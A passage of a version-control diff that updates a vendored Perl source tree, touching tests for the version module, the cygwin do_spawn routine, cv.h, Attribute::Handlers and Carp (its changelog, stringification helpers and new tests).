-        (File::Spec->splitpath($0))[0,1], 'coretests.pm'
+    my $coretests = File::Spec->rel2abs(
+        File::Spec->catpath(
+            (File::Spec->splitpath($0))[0,1], 'coretests.pm'
+        )
     );
     require $coretests;
-    use_ok('version', 0.9917);
+    use_ok('version', 0.9923);
 }
 
 BaseTests("version","new","qv");

Modified: vendor/perl/dist/cpan/version/t/02derived.t
===================================================================
--- vendor/perl/dist/cpan/version/t/02derived.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/02derived.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -9,11 +9,13 @@
 use File::Temp qw/tempfile/;
 
 BEGIN {
-    my $coretests = File::Spec->catpath(
-        (File::Spec->splitpath($0))[0,1], 'coretests.pm'
+    my $coretests = File::Spec->rel2abs(
+        File::Spec->catpath(
+            (File::Spec->splitpath($0))[0,1], 'coretests.pm'
+        )
     );
     require $coretests;
-    use_ok("version", 0.9917);
+    use_ok("version", 0.9923);
     # If we made it this far, we are ok.
 }
 
@@ -49,8 +51,7 @@
 # This is an empty subclass
 package $package;
 use parent 'version';
-use vars '\$VERSION';
-\$VERSION=0.001;
+our \$VERSION = 0.001;
 EOF
 close $fh;
 

Modified: vendor/perl/dist/cpan/version/t/03require.t
===================================================================
--- vendor/perl/dist/cpan/version/t/03require.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/03require.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,8 +8,10 @@
 use File::Spec;
 
 BEGIN {
-    my $coretests = File::Spec->catpath(
-        (File::Spec->splitpath($0))[0,1], 'coretests.pm'
+    my $coretests = File::Spec->rel2abs(
+        File::Spec->catpath(
+            (File::Spec->splitpath($0))[0,1], 'coretests.pm'
+        )
     );
     require $coretests;
 }
@@ -17,7 +19,7 @@
 # Don't want to use, because we need to make sure that the import doesn't
 # fire just yet (some code does this to avoid importing qv() and delare()).
 require_ok("version");
-is $version::VERSION, 0.9917, "Make sure we have the correct class";
+is $version::VERSION, 0.9923, "Make sure we have the correct class";
 ok(!"main"->can("qv"), "We don't have the imported qv()");
 ok(!"main"->can("declare"), "We don't have the imported declare()");
 

Modified: vendor/perl/dist/cpan/version/t/04strict_lax.t
===================================================================
--- vendor/perl/dist/cpan/version/t/04strict_lax.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/04strict_lax.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -21,6 +21,21 @@
         ($v) = ( "snapshot-v1.2.3ga-001-432" =~ /($version::STRICT)/ );
         is $v, 'v1.2.3', "Extract just the version: $v";
     }
+
+    is ref($version::LAX_DECIMAL_VERSION), 'Regexp', 'Can see $version::LAX_DECIMAL_VERSION '.$version::LAX_DECIMAL_VERSION ;
+    is ref($version::LAX_DOTTED_DECIMAL_VERSION), 'Regexp', 'Can see $version::LAX_DOTTED_DECIMAL_VERSION '.$version::LAX_DOTTED_DECIMAL_VERSION ;
+    is ref($version::STRICT_DECIMAL_VERSION), 'Regexp', 'Can see $version::STRICT_DECIMAL_VERSION '.$version::STRICT_DECIMAL_VERSION;
+    is ref($version::STRICT_DOTTED_DECIMAL_VERSION), 'Regexp', 'Can see $version::STRICT_DOTTED_DECIMAL_VERSION '.$version::STRICT_DOTTED_DECIMAL_VERSION;
+    { # https://rt.cpan.org/Ticket/Display.html?id=119669
+        ($v) = ( "snapshot-1.2.3ga-001-432" =~ /($version::LAX_DOTTED_DECIMAL_VERSION)/ );
+        is $v, '1.2.3', "Extract just the version: $v";
+        ($v) = ( "snapshot-1.2ga-001-432" =~ /($version::LAX_DECIMAL_VERSION)/ );
+        is $v, '1.2', "Extract just the version: $v";
+        ($v) = ( "snapshot-v1.2.3ga-001-432" =~ /($version::STRICT_DOTTED_DECIMAL_VERSION)/ );
+        is $v, 'v1.2.3', "Extract just the version: $v";
+        ($v) = ( "snapshot-1.2ga-001-432" =~ /($version::STRICT_DECIMAL_VERSION)/ );
+        is $v, '1.2', "Extract just the version: $v";
+      }
 }
 
 

Modified: vendor/perl/dist/cpan/version/t/05sigdie.t
===================================================================
--- vendor/perl/dist/cpan/version/t/05sigdie.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/05sigdie.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,7 +14,7 @@
 }
 
 BEGIN {
-    use version 0.9917;
+    use version 0.9923;
 }
 
 pass "Didn't get caught by the wrong DIE handler, which is a good thing";

Modified: vendor/perl/dist/cpan/version/t/06noop.t
===================================================================
--- vendor/perl/dist/cpan/version/t/06noop.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/06noop.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -7,7 +7,7 @@
 use Test::More qw/no_plan/;
 
 BEGIN {
-    use_ok('version', 0.9917);
+    use_ok('version', 0.9923);
 }
 
 my $v1 = version->new('1.2');

Modified: vendor/perl/dist/cpan/version/t/07locale.t
===================================================================
--- vendor/perl/dist/cpan/version/t/07locale.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/07locale.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -11,7 +11,7 @@
 use Config;
 
 BEGIN {
-    use_ok('version', 0.9917);
+    use_ok('version', 0.9923);
 }
 
 SKIP: {

Modified: vendor/perl/dist/cpan/version/t/08_corelist.t
===================================================================
--- vendor/perl/dist/cpan/version/t/08_corelist.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/08_corelist.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 #########################
 
 use Test::More tests => 3;
-use_ok("version", 0.9917);
+use_ok("version", 0.9923);
 
 # do strict lax tests in a sub to isolate a package to test importing
 SKIP: {

Modified: vendor/perl/dist/cpan/version/t/09_list_util.t
===================================================================
--- vendor/perl/dist/cpan/version/t/09_list_util.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/version/t/09_list_util.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -4,7 +4,7 @@
 #########################
 
 use strict;
-use_ok("version", 0.9917);
+use_ok("version", 0.9923);
 use Test::More;
 
 BEGIN {

Added: vendor/perl/dist/cpan/version/t/11_taint.t
===================================================================
--- vendor/perl/dist/cpan/version/t/11_taint.t	                        (rev 0)
+++ vendor/perl/dist/cpan/version/t/11_taint.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,24 @@
+#!perl -T
+use Test::More;
+use version;
+
+BEGIN {
+    eval "use Test::Taint";
+    if ($@) {
+	plan skip_all => "No Test::Taint available";
+    } else {
+	plan tests => 6;
+    }
+}
+
+taint_checking_ok();
+my $v = 'v1.2.3';
+taint($v);
+tainted_ok($v, 'Set string as tainted');
+my $v2 = version->parse($v);
+isnt("$v2", '', 'Correctly parsed the tainted string');
+tainted_ok($v2, 'Resulting version object is tainted');
+
+my $vs = "$v2";
+tainted_ok($vs, 'Stringified object still tainted');
+is $v2, 'v1.2.3', 'Comparison to tainted object';

Modified: vendor/perl/dist/cv.h
===================================================================
--- vendor/perl/dist/cv.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cv.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -234,7 +234,17 @@
 	? ((XPVCV*)MUTABLE_PTR(SvANY(sv)))->xcv_gv_u.xcv_hek
 	: 0;
 }
-/* This lowers the refernce count of the previous value, but does *not*
+
+/* helper for the common pattern:
+   CvNAMED(sv) ? CvNAME_HEK((CV *)sv) : GvNAME_HEK(CvGV(sv))
+*/
+#define CvGvNAME_HEK(sv) ( \
+        CvNAMED((CV*)sv) ? \
+            ((XPVCV*)MUTABLE_PTR(SvANY((SV*)sv)))->xcv_gv_u.xcv_hek\
+            : GvNAME_HEK(CvGV( (SV*) sv)) \
+        )
+
+/* This lowers the reference count of the previous value, but does *not*
    increment the reference count of the new value. */
 #define CvNAME_HEK_set(cv, hek) ( \
 	CvNAME_HEK((CV *)(cv))						 \

Modified: vendor/perl/dist/cygwin/cygwin.c
===================================================================
--- vendor/perl/dist/cygwin/cygwin.c	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cygwin/cygwin.c	2018-12-22 22:55:19 UTC (rev 12126)
@@ -90,15 +90,17 @@
 do_spawn (char *cmd)
 {
     dTHX;
-    char const **a;
+    char const **argv, **a;
     char *s;
     char const *metachars = "$&*(){}[]'\";\\?>|<~`\n";
     const char *command[4];
+    int result;
 
+    ENTER;
     while (*cmd && isSPACE(*cmd))
 	cmd++;
 
-    if (strnEQ (cmd,"/bin/sh",7) && isSPACE (cmd[7]))
+    if (strBEGINs (cmd,"/bin/sh") && isSPACE (cmd[7]))
         cmd+=5;
 
     /* save an extra exec if possible */
@@ -107,7 +109,7 @@
 	goto doshell;
     if (*cmd=='.' && isSPACE (cmd[1]))
 	goto doshell;
-    if (strnEQ (cmd,"exec",4) && isSPACE (cmd[4]))
+    if (strBEGINs (cmd,"exec") && isSPACE (cmd[4]))
 	goto doshell;
     for (s=cmd; *s && isALPHA (*s); s++) ;	/* catch VAR=val gizmo */
 	if (*s=='=')
@@ -127,13 +129,16 @@
 	    command[2] = cmd;
 	    command[3] = NULL;
 
-	    return do_spawnvp("sh",command);
+	    result = do_spawnvp("sh",command);
+	    goto leave;
 	}
 
-    Newx (PL_Argv, (s-cmd)/2+2, const char*);
-    PL_Cmd=savepvn (cmd,s-cmd);
-    a=PL_Argv;
-    for (s=PL_Cmd; *s;) {
+    Newx (argv, (s-cmd)/2+2, const char*);
+    SAVEFREEPV(argv);
+    cmd=savepvn (cmd,s-cmd);
+    SAVEFREEPV(cmd);
+    a=argv;
+    for (s=cmd; *s;) {
 	while (*s && isSPACE (*s)) s++;
 	if (*s)
 	    *(a++)=s;
@@ -142,10 +147,13 @@
 	    *s++='\0';
     }
     *a = (char*)NULL;
-    if (!PL_Argv[0])
-        return -1;
-
-    return do_spawnvp(PL_Argv[0],(const char * const *)PL_Argv);
+    if (!argv[0])
+        result = -1;
+    else
+	result = do_spawnvp(argv[0],(const char * const *)argv);
+leave:
+    LEAVE;
+    return result;
 }
 
 #if (CYGWIN_VERSION_API_MINOR >= 181)
@@ -488,7 +496,7 @@
 
     pathname = SvPV_nolen(ST(0));
 
-    if (!strcmp(pathname, "/cygdrive")) {
+    if (strEQ(pathname, "/cygdrive")) {
 	char user[PATH_MAX];
 	char system[PATH_MAX];
 	char user_flags[PATH_MAX];
@@ -511,7 +519,7 @@
 	int found = 0;
 	setmntent (0, 0);
 	while ((mnt = getmntent (0))) {
-	    if (!strcmp(pathname, mnt->mnt_dir)) {
+	    if (strEQ(pathname, mnt->mnt_dir)) {
 		strcpy(flags, mnt->mnt_type);
 		if (strlen(mnt->mnt_opts) > 0) {
 		    strcat(flags, ",");
@@ -536,12 +544,12 @@
 			     user_flags, system_flags);
 
 	    if (strlen(user) > 0) {
-		if (strcmp(user,pathname)) {
+		if (strNE(user,pathname)) {
 		    sprintf(flags, "%s,cygdrive,%s", user_flags, user);
 		    found++;
 		}
 	    } else {
-		if (strcmp(user,pathname)) {
+		if (strNE(user,pathname)) {
 		    sprintf(flags, "%s,cygdrive,%s", system_flags, system);
 		    found++;
 		}

Modified: vendor/perl/dist/dist/Attribute-Handlers/lib/Attribute/Handlers.pm
===================================================================
--- vendor/perl/dist/dist/Attribute-Handlers/lib/Attribute/Handlers.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Attribute-Handlers/lib/Attribute/Handlers.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,8 +3,8 @@
 use Carp;
 use warnings;
 use strict;
-use vars qw($VERSION $AUTOLOAD);
-$VERSION = '0.99'; # remember to update version in POD!
+our $AUTOLOAD;
+our $VERSION = '1.01'; # remember to update version in POD!
 # $DB::single=1;
 
 my %symcache;
@@ -139,7 +139,9 @@
 	croak "Attribute handler '$2' doesn't handle $1 attributes";
 }
 
-my $builtin = qr/lvalue|method|locked|unique|shared/;
+my $builtin = $] ge '5.027000'
+    ? qr/lvalue|method|shared/
+    : qr/lvalue|method|locked|shared|unique/;
 
 sub _gen_handler_AH_() {
 	return sub {
@@ -270,7 +272,7 @@
 
 =head1 VERSION
 
-This document describes version 0.99 of Attribute::Handlers.
+This document describes version 1.01 of Attribute::Handlers.
 
 =head1 SYNOPSIS
 

Modified: vendor/perl/dist/dist/Carp/Changes
===================================================================
--- vendor/perl/dist/dist/Carp/Changes	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Carp/Changes	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,4 +1,52 @@
+version 1.49
 
+ * comment only change, document the change from 1.47 better
+   and create a commit in blead-perl which can be used to
+   reference this issue from the bug report.
+
+version 1.48
+
+ * guard against hand-rolled UNIVERSAL::can() implementations
+   which throw exceptions when we call $obj->can("((").
+
+version 1.47, 1.47_02
+
+  * Deal with overloading when overload.pm is not use
+
+  * Note 1.47_02 only existed for one commit in blead-perl,
+    and in fact no 1.47 should ever see the wild.
+
+version 1.47, 1.47_01
+
+  * Do not die on trappable stack-not-refcounted bugs while
+    serializing the stack.
+
+  * Note 1.47_01 only existed for one commit in blead-perl,
+    and in fact no 1.47 should ever see the wild.
+
+version 1.46
+
+  * avoid vivifying UNIVERSAL::isa:: in Carp
+
+version 1.45
+
+  * Optimize format_arg when arguments contain many references
+
+version 1.43
+
+  * fix problems introduced by the partial EBCDIC support from version
+    1.35
+
+version 1.42
+
+  * add some doc clue about what cluck does
+
+  * avoid floating point overflow in test
+
+version 1.41
+
+  * add missing "<FH> chunk #" phrase to messages
+
 version 1.40; 2016-03-10
   * Get arg_string.t to compile in perl v5.6
   * Add information for how to contribute to Carp.

Modified: vendor/perl/dist/dist/Carp/lib/Carp/Heavy.pm
===================================================================
--- vendor/perl/dist/dist/Carp/lib/Carp/Heavy.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Carp/lib/Carp/Heavy.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use Carp ();
 
-our $VERSION = '1.42';
+our $VERSION = '1.50';
 $VERSION =~ tr/_//d;
 
 # Carp::Heavy was merged into Carp in version 1.12.  Any mismatched versions

Modified: vendor/perl/dist/dist/Carp/lib/Carp.pm
===================================================================
--- vendor/perl/dist/dist/Carp/lib/Carp.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Carp/lib/Carp.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -87,7 +87,131 @@
     }
 }
 
-our $VERSION = '1.42';
+# is_safe_printable_codepoint() indicates whether a character, specified
+# by integer codepoint, is OK to output literally in a trace.  Generally
+# this is if it is a printable character in the ancestral character set
+# (ASCII or EBCDIC).  This is used on some Perls in situations where a
+# regexp can't be used.
+BEGIN {
+    *is_safe_printable_codepoint =
+	"$]" >= 5.007_003 ?
+	    eval(q(sub ($) {
+		my $u = utf8::native_to_unicode($_[0]);
+		$u >= 0x20 && $u <= 0x7e;
+	    }))
+	: ord("A") == 65 ?
+	    sub ($) { $_[0] >= 0x20 && $_[0] <= 0x7e }
+	:
+	    sub ($) {
+		# Early EBCDIC
+		# 3 EBCDIC code pages supported then;  all controls but one
+		# are the code points below SPACE.  The other one is 0x5F on
+		# POSIX-BC; FF on the other two.
+		# FIXME: there are plenty of unprintable codepoints other
+		# than those that this code and the comment above identifies
+		# as "controls".
+		$_[0] >= ord(" ") && $_[0] <= 0xff &&
+		    $_[0] != (ord ("^") == 106 ? 0x5f : 0xff);
+	    }
+	;
+}
+
+sub _univ_mod_loaded {
+    return 0 unless exists($::{"UNIVERSAL::"});
+    for ($::{"UNIVERSAL::"}) {
+	return 0 unless ref \$_ eq "GLOB" && *$_{HASH} && exists $$_{"$_[0]::"};
+	for ($$_{"$_[0]::"}) {
+	    return 0 unless ref \$_ eq "GLOB" && *$_{HASH} && exists $$_{"VERSION"};
+	    for ($$_{"VERSION"}) {
+		return 0 unless ref \$_ eq "GLOB";
+		return ${*$_{SCALAR}};
+	    }
+	}
+    }
+}
+
+# _maybe_isa() is usually the UNIVERSAL::isa function.  We have to avoid
+# the latter if the UNIVERSAL::isa module has been loaded, to avoid infi-
+# nite recursion; in that case _maybe_isa simply returns true.
+my $isa;
+BEGIN {
+    if (_univ_mod_loaded('isa')) {
+        *_maybe_isa = sub { 1 }
+    }
+    else {
+        # Since we have already done the check, record $isa for use below
+        # when defining _StrVal.
+        *_maybe_isa = $isa = _fetch_sub(UNIVERSAL => "isa");
+    }
+}
+
+
+# We need an overload::StrVal or equivalent function, but we must avoid
+# loading any modules on demand, as Carp is used from __DIE__ handlers and
+# may be invoked after a syntax error.
+# We can copy recent implementations of overload::StrVal and use
+# overloading.pm, which is the fastest implementation, so long as
+# overloading is available.  If it is not available, we use our own pure-
+# Perl StrVal.  We never actually use overload::StrVal, for various rea-
+# sons described below.
+# overload versions are as follows:
+#     undef-1.00 (up to perl 5.8.0)   uses bless (avoid!)
+#     1.01-1.17  (perl 5.8.1 to 5.14) uses Scalar::Util
+#     1.18+      (perl 5.16+)         uses overloading
+# The ancient 'bless' implementation (that inspires our pure-Perl version)
+# blesses unblessed references and must be avoided.  Those using
+# Scalar::Util use refaddr, possibly the pure-Perl implementation, which
+# has the same blessing bug, and must be avoided.  Also, Scalar::Util is
+# loaded on demand.  Since we avoid the Scalar::Util implementations, we
+# end up having to implement our own overloading.pm-based version for perl
+# 5.10.1 to 5.14.  Since it also works just as well in more recent ver-
+# sions, we use it there, too.
+BEGIN {
+    if (eval { require "overloading.pm" }) {
+        *_StrVal = eval 'sub { no overloading; "$_[0]" }'
+    }
+    else {
+        # Work around the UNIVERSAL::can/isa modules to avoid recursion.
+
+        # _mycan is either UNIVERSAL::can, or, in the presence of an
+        # override, overload::mycan.
+        *_mycan = _univ_mod_loaded('can')
+            ? do { require "overload.pm"; _fetch_sub overload => 'mycan' }
+            : \&UNIVERSAL::can;
+
+        # _blessed is either UNIVERAL::isa(...), or, in the presence of an
+        # override, a hideous, but fairly reliable, workaround.
+        *_blessed = $isa
+            ? sub { &$isa($_[0], "UNIVERSAL") }
+            : sub {
+                my $probe = "UNIVERSAL::Carp_probe_" . rand;
+                no strict 'refs';
+                local *$probe = sub { "unlikely string" };
+                local $@;
+                local $SIG{__DIE__} = sub{};
+                (eval { $_[0]->$probe } || '') eq 'unlikely string'
+              };
+
+        *_StrVal = sub {
+            my $pack = ref $_[0];
+            # Perl's overload mechanism uses the presence of a special
+            # "method" named "((" or "()" to signal it is in effect.
+            # This test seeks to see if it has been set up.  "((" post-
+            # dates overloading.pm, so we can skip it.
+            return "$_[0]" unless _mycan($pack, "()");
+            # Even at this point, the invocant may not be blessed, so
+            # check for that.
+            return "$_[0]" if not _blessed($_[0]);
+            bless $_[0], "Carp";
+            my $str = "$_[0]";
+            bless $_[0], $pack;
+            $pack . substr $str, index $str, "=";
+        }
+    }
+}
+
+
+our $VERSION = '1.50';
 $VERSION =~ tr/_//d;
 
 our $MaxEvalLen = 0;
@@ -203,11 +327,33 @@
 
     my $sub_name = Carp::get_subname( \%call_info );
     if ( $call_info{has_args} ) {
-        my @args;
-        if (CALLER_OVERRIDE_CHECK_OK && @DB::args == 1
-            && ref $DB::args[0] eq ref \$i
-            && $DB::args[0] == \$i ) {
-            @DB::args = ();    # Don't let anyone see the address of $i
+        # Guard our serialization of the stack from stack refcounting bugs
+        # NOTE this is NOT a complete solution, we cannot 100% guard against
+        # these bugs.  However in many cases Perl *is* capable of detecting
+        # them and throws an error when it does.  Unfortunately serializing
+        # the arguments on the stack is a perfect way of finding these bugs,
+        # even when they would not affect normal program flow that did not
+        # poke around inside the stack.  Inside of Carp.pm it makes little
+        # sense reporting these bugs, as Carp's job is to report the callers
+        # errors, not the ones it might happen to tickle while doing so.
+        # See: https://rt.perl.org/Public/Bug/Display.html?id=131046
+        # and: https://rt.perl.org/Public/Bug/Display.html?id=52610
+        # for more details and discussion. - Yves
+        my @args = map {
+                my $arg;
+                local $@= $@;
+                eval {
+                    $arg = $_;
+                    1;
+                } or do {
+                    $arg = '** argument not available anymore **';
+                };
+                $arg;
+            } @DB::args;
+        if (CALLER_OVERRIDE_CHECK_OK && @args == 1
+            && ref $args[0] eq ref \$i
+            && $args[0] == \$i ) {
+            @args = ();    # Don't let anyone see the address of $i
             local $@;
             my $where = eval {
                 my $func    = $cgc or return '';
@@ -226,7 +372,6 @@
                 = "** Incomplete caller override detected$where; \@DB::args were not set **";
         }
         else {
-            @args = @DB::args;
             my $overflow;
             if ( $MaxArgNums and @args > $MaxArgNums )
             {    # More than we want to show?
@@ -253,9 +398,10 @@
 sub format_arg {
     my $arg = shift;
 
-    if ( ref($arg) ) {
+    if ( my $pack= ref($arg) ) {
+
          # legitimate, let's not leak it.
-        if (!$in_recurse &&
+        if (!$in_recurse && _maybe_isa( $arg, 'UNIVERSAL' ) &&
 	    do {
                 local $@;
 	        local $in_recurse = 1;
@@ -278,8 +424,11 @@
         }
         else
         {
-	    my $sub = _fetch_sub(overload => 'StrVal');
-	    return $sub ? &$sub($arg) : "$arg";
+            # Argument may be blessed into a class with overloading, and so
+            # might have an overloaded stringification.  We don't want to
+            # risk getting the overloaded stringification, so we need to
+            # use _StrVal, our overload::StrVal()-equivalent.
+            return _StrVal $arg;
         }
     }
     return "undef" if !defined($arg);
@@ -300,25 +449,8 @@
 		next;
 	    }
 	    my $o = ord($c);
-
-            # This code is repeated in Regexp::CARP_TRACE()
-            if ($] ge 5.007_003) {
-                substr $arg, $i, 1, sprintf("\\x{%x}", $o)
-		  if utf8::native_to_unicode($o) < utf8::native_to_unicode(0x20)
-                  || utf8::native_to_unicode($o) > utf8::native_to_unicode(0x7e);
-            } elsif (ord("A") == 65) {
-                substr $arg, $i, 1, sprintf("\\x{%x}", $o)
-                    if $o < 0x20 || $o > 0x7e;
-            } else { # Early EBCDIC
-
-                # 3 EBCDIC code pages supported then;  all controls but one
-                # are the code points below SPACE.  The other one is 0x5F on
-                # POSIX-BC; FF on the other two.
-                substr $arg, $i, 1, sprintf("\\x{%x}", $o)
-                    if $o < ord(" ") || ((ord ("^") == 106)
-                                          ? $o == 0x5f
-                                          : $o == 0xff);
-            }
+	    substr $arg, $i, 1, sprintf("\\x{%x}", $o)
+		unless is_safe_printable_codepoint($o);
 	}
     } else {
 	$arg =~ s/([\"\\\$\@])/\\$1/g;
@@ -325,7 +457,7 @@
         # This is all the ASCII printables spelled-out.  It is portable to all
         # Perl versions and platforms (such as EBCDIC).  There are other more
         # compact ways to do this, but may not work everywhere every version.
-        $arg =~ s/([^ !"\$\%#'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg;
+        $arg =~ s/([^ !"#\$\%\&'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg;
     }
     downgrade($arg, 1);
     return "\"".$arg."\"".$suffix;
@@ -338,25 +470,12 @@
 	for(my $i = length($arg); $i--; ) {
 	    my $o = ord(substr($arg, $i, 1));
 	    my $x = substr($arg, 0, 0);   # work around bug on Perl 5.8.{1,2}
-
-            # This code is repeated in format_arg()
-            if ($] ge 5.007_003) {
-                substr $arg, $i, 1, sprintf("\\x{%x}", $o)
-		  if utf8::native_to_unicode($o) < utf8::native_to_unicode(0x20)
-                  || utf8::native_to_unicode($o) > utf8::native_to_unicode(0x7e);
-            } elsif (ord("A") == 65) {
-                substr $arg, $i, 1, sprintf("\\x{%x}", $o)
-                    if $o < 0x20 || $o > 0x7e;
-            } else { # Early EBCDIC
-                substr $arg, $i, 1, sprintf("\\x{%x}", $o)
-                    if $o < ord(" ") || ((ord ("^") == 106)
-                                          ? $o == 0x5f
-                                          : $o == 0xff);
-            }
+	    substr $arg, $i, 1, sprintf("\\x{%x}", $o)
+		unless is_safe_printable_codepoint($o);
 	}
     } else {
         # See comment in format_arg() about this same regex.
-        $arg =~ s/([^ !"\$\%#'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg;
+        $arg =~ s/([^ !"#\$\%\&'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg;
     }
     downgrade($arg, 1);
     my $suffix = "";
@@ -452,6 +571,15 @@
     return ret_backtrace( $i, @_ );
 }
 
+BEGIN {
+    if("$]" >= 5.017004) {
+        # The LAST_FH constant is a reference to the variable.
+        $Carp::{LAST_FH} = \eval '\${^LAST_FH}';
+    } else {
+        eval '*LAST_FH = sub () { 0 }';
+    }
+}
+
 # Returns a full stack backtrace starting from where it is
 # told.
 sub ret_backtrace {
@@ -468,7 +596,16 @@
 
     my %i = caller_info($i);
     $mess = "$err at $i{file} line $i{line}$tid_msg";
-    if( defined $. ) {
+    if( $. ) {
+      # Use ${^LAST_FH} if available.
+      if (LAST_FH) {
+        if (${+LAST_FH}) {
+            $mess .= sprintf ", <%s> %s %d",
+                              *${+LAST_FH}{NAME},
+                              ($/ eq "\n" ? "line" : "chunk"), $.
+        }
+      }
+      else {
         local $@ = '';
         local $SIG{__DIE__};
         eval {
@@ -477,6 +614,7 @@
         if($@ =~ /^Died at .*(, <.*?> (?:line|chunk) \d+).$/ ) {
             $mess .= $1;
         }
+      }
     }
     $mess .= "\.\n";
 
@@ -594,7 +732,8 @@
     for my $var (qw/ CARP_NOT ISA /) {
         # Don't try using the variable until we know it exists,
         # to avoid polluting the caller's namespace.
-        if ( $stash->{$var} && *{$stash->{$var}}{ARRAY} && @{$stash->{$var}} ) {
+        if ( $stash->{$var} && ref \$stash->{$var} eq 'GLOB'
+          && *{$stash->{$var}}{ARRAY} && @{$stash->{$var}} ) {
            return @{$stash->{$var}}
         }
     }

Modified: vendor/perl/dist/dist/Carp/t/Carp.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/Carp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Carp/t/Carp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use Config;
 
 use IPC::Open3 1.0103 qw(open3);
-use Test::More tests => 67;
+use Test::More tests => 68;
 
 sub runperl {
     my(%args) = @_;
@@ -488,6 +488,17 @@
     );
 }
 
+{
+    package Mpar;
+    sub f { Carp::croak "tun syn" }
+
+    package Phou;
+    $Phou::{ISA} = \42;
+    eval { Mpar::f };
+}
+like $@, qr/tun syn/, 'Carp can handle non-glob ISA stash elems';
+
+
 # New tests go here
 
 # line 1 "XA"

Added: vendor/perl/dist/dist/Carp/t/Carp_overloadless.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/Carp_overloadless.t	                        (rev 0)
+++ vendor/perl/dist/dist/Carp/t/Carp_overloadless.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,15 @@
+use warnings;
+#no warnings 'once';
+use Test::More tests => 1;
+
+use Carp;
+
+# test that enabling overload without loading overload.pm does not trigger infinite recursion
+
+my $p = "OverloadedInXS"; 
+*{$p."::(("} = sub{};
+*{$p.q!::(""!} = sub { Carp::cluck "<My Stringify>" }; 
+sub { Carp::longmess("longmess:") }->(bless {}, $p);
+ok(1);
+
+

Modified: vendor/perl/dist/dist/Carp/t/arg_regexp.t
===================================================================
--- vendor/perl/dist/dist/Carp/t/arg_regexp.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/dist/Carp/t/arg_regexp.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,8 @@
 use warnings;
 use strict;
 
+# confirm that regexp-typed stack args are displayed correctly by longmess()
+
 use Test::More tests => 42;
 
 use Carp ();
@@ -16,12 +18,14 @@
                           : ((ord("A") == 193)
                              ? 0x51
                              : 0xE9));
-my $chr_e9 = chr eval "0x$e9";
+my $xe9 = "\\x$e9";
+my $chr_e9 = eval "\"$xe9\"";
 my $nl_as_hex = sprintf "%x", ord("\n");
 
 # On Perl 5.6 we accept some incorrect quoting of Unicode characters,
 # because upgradedness of regexps isn't preserved by stringification,
 # so it's impossible to implement the correct behaviour.
+# FIXME: the permissive patterns don't account for EBCDIC
 my $xe9_rx = "$]" < 5.008 ? qr/\\x\{c3\}\\x\{a9\}|\\x\{e9\}/ : qr/\\x\{$e9\}/;
 my $x666_rx = "$]" < 5.008 ? qr/\\x\{d9\}\\x\{a6\}|\\x\{666\}/ : qr/\\x\{666\}/;
 my $x2603_rx = "$]" < 5.008 ? qr/\\x\{e2\}\\x\{98\}\\x\{83\}|\\x\{2603\}/ : qr/\\x\{2603\}/;
@@ -41,17 +45,11 @@
 like lm(rx("\x{666}b")), qr/main::lm\(qr\(${x666_rx}b\)u?\)/;
 like lm(qr/a\x{666}/), qr/main::lm\(qr\(a\\x\{666\}\)u?\)/;
 like lm(rx("a\x{666}")), qr/main::lm\(qr\(a${x666_rx}\)u?\)/;
-like lm(qr/L${chr_e9}on/), qr/main::lm\(qr\(L\\x\{?${e9}\}?on\)u?\)/;
+like lm(qr/L${xe9}on/), qr/main::lm\(qr\(L\\x${e9}on\)u?\)/;
